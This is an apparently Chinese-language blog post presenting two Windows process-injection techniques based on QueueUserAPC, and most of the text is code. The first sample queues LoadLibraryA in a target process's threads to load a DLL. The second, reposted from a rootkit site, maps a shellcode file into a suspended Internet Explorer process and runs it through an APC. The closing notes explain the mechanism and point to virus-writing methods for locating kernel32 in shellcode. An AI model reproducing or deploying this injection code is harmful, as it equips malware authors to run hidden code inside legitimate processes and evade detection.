Code Inject的新技术 APC
inject的一般方法是:CreateRemoteThread;今天在Rootkit上看到一个新的方法,让我想起1年前我看到过的类似方法,大家一起看看这种方法吧：
1) 1年前我所看到的方法
DWORD dwResult;
HANDLE hThread;
HANDLE hProcess;
char szDllName[] = "c://MyDll.dll";
int nLen = strlen(szDllName) + 1;
PVOID pData= VirtualAllocEx(hProcess,
NULL,
nLen,
MEM_COMMIT | MEM_TOP_DOWN,
PAGE_READWRITE);
if (param != NULL)
{
if (WriteProcessMemory(hProcess,
pData,
(LPVOID)szDllName,
len,
&ret))
{
for (DWORD p = 0; p < NumberOfThreads; p++) //寻找适当的线程
{
hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);
if (hThread != 0)
{
InjectDll(hProcess, hThread, (DWORD)pData);
CloseHandle(hThread);
}
}
}
void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param)
{
QueueUserAPC( (PAPCFUNC)GetProcAddress(GetModuleHandle
("kernel32.dll"), "LoadLibraryA"),
hThread,
(DWORD)param )
}
2) Rootkit上的方法,下面代码转自 http://www.rootkit.com/newsread.php?newsid=715
#define _WIN32_WINNT 0x0400
#include <windows.h>
typedef LONG NTSTATUS, *PNTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*,
SECTION_INHERIT, ULONG, ULONG );
func_NtMapViewOfSection NtMapViewOfSection = NULL;
LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh,
DWORD dwFileOffsetLow, DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress )
{
NTSTATUS Status;
LARGE_INTEGER SectionOffset;
ULONG ViewSize;
ULONG Protect;
LPVOID ViewBase;
// Convert the offset
SectionOffset.LowPart = dwFileOffsetLow;
SectionOffset.HighPart = dwFileOffsetHigh;
// Save the size and base
ViewBase = lpBaseAddress;
ViewSize = dwNumberOfBytesToMap;
// Convert flags to NT Protection Attributes
if (dwDesiredAccess & FILE_MAP_WRITE)
{
Protect = PAGE_READWRITE;
}
else if (dwDesiredAccess & FILE_MAP_READ)
{
Protect = PAGE_READONLY;
}
else if (dwDesiredAccess & FILE_MAP_COPY)
{
Protect = PAGE_WRITECOPY;
}
else
{
Protect = PAGE_NOACCESS;
}
// Map the section
Status = NtMapViewOfSection(hFileMappingObject,
hProcess,
&ViewBase,
0,
0,
&SectionOffset,
&ViewSize,
ViewShare,
0,
Protect);
if (!NT_SUCCESS(Status))
{
// We failed
return NULL;
}
// Return the base
return ViewBase;
}
int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)
{
HMODULE hDll = LoadLibrary( "ntdll.dll" );
NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection");
// Getting a shellcode, use whatever you want
HANDLE hFile = CreateFile ("C://shellcode.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);
// Starting target process
STARTUPINFO st;
ZeroMemory (&st, sizeof(st));
st.cb = sizeof (STARTUPINFO);
PROCESS_INFORMATION pi;
ZeroMemory (&pi, sizeof(pi));
CreateProcess ("C://Programme//Internet Explorer//iexplore.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi);
// Injecting the shellcode into target process address space
LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);
// Create a new APC which will be executed at first when the thread resume
QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);
ResumeThread (pi.hThread);
CloseHandle (hFile);
CloseHandle (hMappedFile);
CloseHandle (pi.hThread);
CloseHandle (pi.hProcess);
return 0;
}
总结：
1 巧妙的应用了QueueUserAPC和Apc Queue,上述LoadLibrary动作和MappedFile的shellcode在目标线程被调度为运行状态的时候执行.
2 还记得APC Queue吗？
线程被重新调度为运行状态的时候会检查当前的Apc Queue,只有Queue中所有的Routine被执行完毕后,才执行线程原来被中断(入口)的代码.
3 第二个例子要自己写shellcode,关于如何定位函数,参见PE病毒写法,不要从栈地址找Kenel32的地址了,从TEB中的SEH地址找,默认(最外层)的处理Routine在Kenel32.dll中......